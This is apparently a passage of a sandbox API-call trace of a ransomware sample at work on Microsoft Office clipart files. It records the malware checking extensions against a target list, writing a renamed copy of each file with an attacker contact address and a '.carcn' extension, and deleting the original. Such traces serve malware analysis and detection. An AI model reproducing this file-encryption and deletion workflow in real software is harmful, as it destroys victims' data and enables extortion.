[0277.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0277.966] lstrlenW (lpString=".1cd") returned 4 [0277.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0277.966] lstrlenW (lpString=".jpg") returned 4 [0277.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.967] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0277.967] lstrlenW (lpString="DD01366_.WMF") returned 12 [0277.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0277.968] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1768) returned 1 [0277.968] CloseHandle (hObject=0x414) returned 1 [0277.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220 [0277.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0277.970] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.970] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0277.975] GetLastError () returned 0x0 [0277.975] ReadFile (in: hFile=0x414, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x6e8, lpOverlapped=0x0) returned 1 [0278.002] WriteFile (in: hFile=0x538, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x6f0, lpOverlapped=0x0) returned 1 [0278.004] ReadFile (in: hFile=0x414, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.005] WriteFile (in: hFile=0x538, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0278.005] SetEndOfFile (hFile=0x538) returned 1 [0278.005] CloseHandle (hObject=0x538) returned 1 [0278.005] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.005] SetEndOfFile (hFile=0x414) returned 1 [0278.009] CloseHandle (hObject=0x414) returned 1 [0278.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0278.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0278.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0278.011] lstrlenW (lpString=".doc") returned 4 [0278.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.011] lstrlenW (lpString=".docx") returned 5 [0278.011] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.011] lstrlenW (lpString=".pdf") returned 4 [0278.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.011] lstrlenW (lpString=".xls") returned 4 [0278.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.011] lstrlenW (lpString=".xlsx") returned 5 [0278.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.012] lstrlenW (lpString=".ppt") returned 4 [0278.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0278.012] lstrlenW (lpString=".zip") returned 4 [0278.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.012] lstrlenW (lpString=".rar") returned 4 [0278.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.012] lstrlenW (lpString=".bz2") returned 4 [0278.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.012] lstrlenW (lpString=".7z") returned 3 [0278.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0278.012] lstrlenW (lpString=".dbf") returned 4 [0278.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0278.012] lstrlenW (lpString=".1cd") returned 4 [0278.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0278.012] lstrlenW (lpString=".jpg") returned 4 [0278.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0278.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0278.013] lstrlenW (lpString=".doc") returned 4 [0278.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.013] lstrlenW (lpString=".docx") returned 5 [0278.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.013] lstrlenW (lpString=".pdf") returned 4 [0278.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.013] lstrlenW (lpString=".xls") returned 4 [0278.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.013] lstrlenW (lpString=".xlsx") returned 5 [0278.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.013] lstrlenW (lpString=".ppt") returned 4 [0278.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0278.013] lstrlenW (lpString=".zip") returned 4 [0278.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.013] lstrlenW (lpString=".rar") returned 4 [0278.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.013] lstrlenW (lpString=".bz2") returned 4 [0278.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.013] lstrlenW (lpString=".7z") returned 3 [0278.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0278.014] lstrlenW (lpString=".dbf") returned 4 [0278.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0278.014] lstrlenW (lpString=".1cd") returned 4 [0278.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0278.014] lstrlenW (lpString=".jpg") returned 4 [0278.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.014] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0278.014] lstrlenW (lpString="DD01585_.WMF") returned 12 [0278.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0278.015] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2524) returned 1 [0278.015] CloseHandle (hObject=0x414) returned 1 [0278.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0278.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0278.016] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.016] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0278.017] GetLastError () returned 0x0 [0278.017] ReadFile (in: hFile=0x414, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x9dc, lpOverlapped=0x0) returned 1 [0278.097] WriteFile (in: hFile=0x538, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x9e0, lpOverlapped=0x0) returned 1 [0278.098] ReadFile (in: hFile=0x414, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.098] WriteFile (in: hFile=0x538, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0278.098] SetEndOfFile (hFile=0x538) returned 1 [0278.104] CloseHandle (hObject=0x538) returned 1 [0278.145] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.145] SetEndOfFile (hFile=0x414) returned 1 [0278.149] CloseHandle (hObject=0x414) returned 1 [0278.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0278.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0278.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0278.159] lstrlenW (lpString=".doc") returned 4 [0278.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.159] lstrlenW (lpString=".docx") returned 5 [0278.159] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.159] lstrlenW (lpString=".pdf") returned 4 [0278.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.159] lstrlenW (lpString=".xls") returned 4 [0278.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.159] lstrlenW (lpString=".xlsx") returned 5 [0278.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.160] lstrlenW (lpString=".ppt") returned 4 [0278.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0278.160] lstrlenW (lpString=".zip") returned 4 [0278.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.160] lstrlenW (lpString=".rar") returned 4 [0278.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.160] lstrlenW (lpString=".bz2") returned 4 [0278.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.160] lstrlenW (lpString=".7z") returned 3 [0278.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0278.160] lstrlenW (lpString=".dbf") returned 4 [0278.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0278.160] lstrlenW (lpString=".1cd") returned 4 [0278.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0278.160] lstrlenW (lpString=".jpg") returned 4 [0278.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0278.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0278.161] lstrlenW (lpString=".doc") returned 4 [0278.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.161] lstrlenW (lpString=".docx") returned 5 [0278.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.161] lstrlenW (lpString=".pdf") returned 4 [0278.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.161] lstrlenW (lpString=".xls") returned 4 [0278.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.161] lstrlenW (lpString=".xlsx") returned 5 [0278.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.161] lstrlenW (lpString=".ppt") returned 4 [0278.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0278.161] lstrlenW (lpString=".zip") returned 4 [0278.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.162] lstrlenW (lpString=".rar") returned 4 [0278.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.162] lstrlenW (lpString=".bz2") returned 4 [0278.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.162] lstrlenW (lpString=".7z") returned 3 [0278.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0278.162] lstrlenW (lpString=".dbf") returned 4 [0278.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0278.162] lstrlenW (lpString=".1cd") returned 4 [0278.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0278.162] lstrlenW (lpString=".jpg") returned 4 [0278.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.163] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0278.163] lstrlenW (lpString="DD01628_.WMF") returned 12 [0278.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0278.167] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=19068) returned 1 [0278.167] CloseHandle (hObject=0x414) returned 1 [0278.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0278.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0278.168] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.168] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0278.169] GetLastError () returned 0x0 [0278.169] ReadFile (in: hFile=0x414, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x4a7c, lpOverlapped=0x0) returned 1 [0278.239] WriteFile (in: hFile=0x54c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4a80, lpOverlapped=0x0) returned 1 [0278.240] ReadFile (in: hFile=0x414, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.240] WriteFile (in: hFile=0x54c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0278.240] SetEndOfFile (hFile=0x54c) returned 1 [0278.241] CloseHandle (hObject=0x54c) returned 1 [0278.241] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.241] SetEndOfFile (hFile=0x414) returned 1 [0278.244] CloseHandle (hObject=0x414) returned 1 [0278.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0278.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0278.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0278.246] lstrlenW (lpString=".doc") returned 4 [0278.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.246] lstrlenW (lpString=".docx") returned 5 [0278.246] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.246] lstrlenW (lpString=".pdf") returned 4 [0278.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.246] lstrlenW (lpString=".xls") returned 4 [0278.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.246] lstrlenW (lpString=".xlsx") returned 5 [0278.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.246] lstrlenW (lpString=".ppt") returned 4 [0278.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0278.246] lstrlenW (lpString=".zip") returned 4 [0278.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.246] lstrlenW (lpString=".rar") returned 4 [0278.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.246] lstrlenW (lpString=".bz2") returned 4 [0278.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.246] lstrlenW (lpString=".7z") returned 3 [0278.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0278.247] lstrlenW (lpString=".dbf") returned 4 [0278.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0278.247] lstrlenW (lpString=".1cd") returned 4 [0278.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0278.247] lstrlenW (lpString=".jpg") returned 4 [0278.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0278.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0278.247] lstrlenW (lpString=".doc") returned 4 [0278.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.247] lstrlenW (lpString=".docx") returned 5 [0278.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.247] lstrlenW (lpString=".pdf") returned 4 [0278.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.247] lstrlenW (lpString=".xls") returned 4 [0278.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.247] lstrlenW (lpString=".xlsx") returned 5 [0278.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.247] lstrlenW (lpString=".ppt") returned 4 [0278.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0278.248] lstrlenW (lpString=".zip") returned 4 [0278.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.248] lstrlenW (lpString=".rar") returned 4 [0278.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.248] lstrlenW (lpString=".bz2") returned 4 [0278.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.248] lstrlenW (lpString=".7z") returned 3 [0278.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0278.248] lstrlenW (lpString=".dbf") returned 4 [0278.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0278.248] lstrlenW (lpString=".1cd") returned 4 [0278.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.248] lstrlenW (lpString="C:\\Program Files\\Microsoft 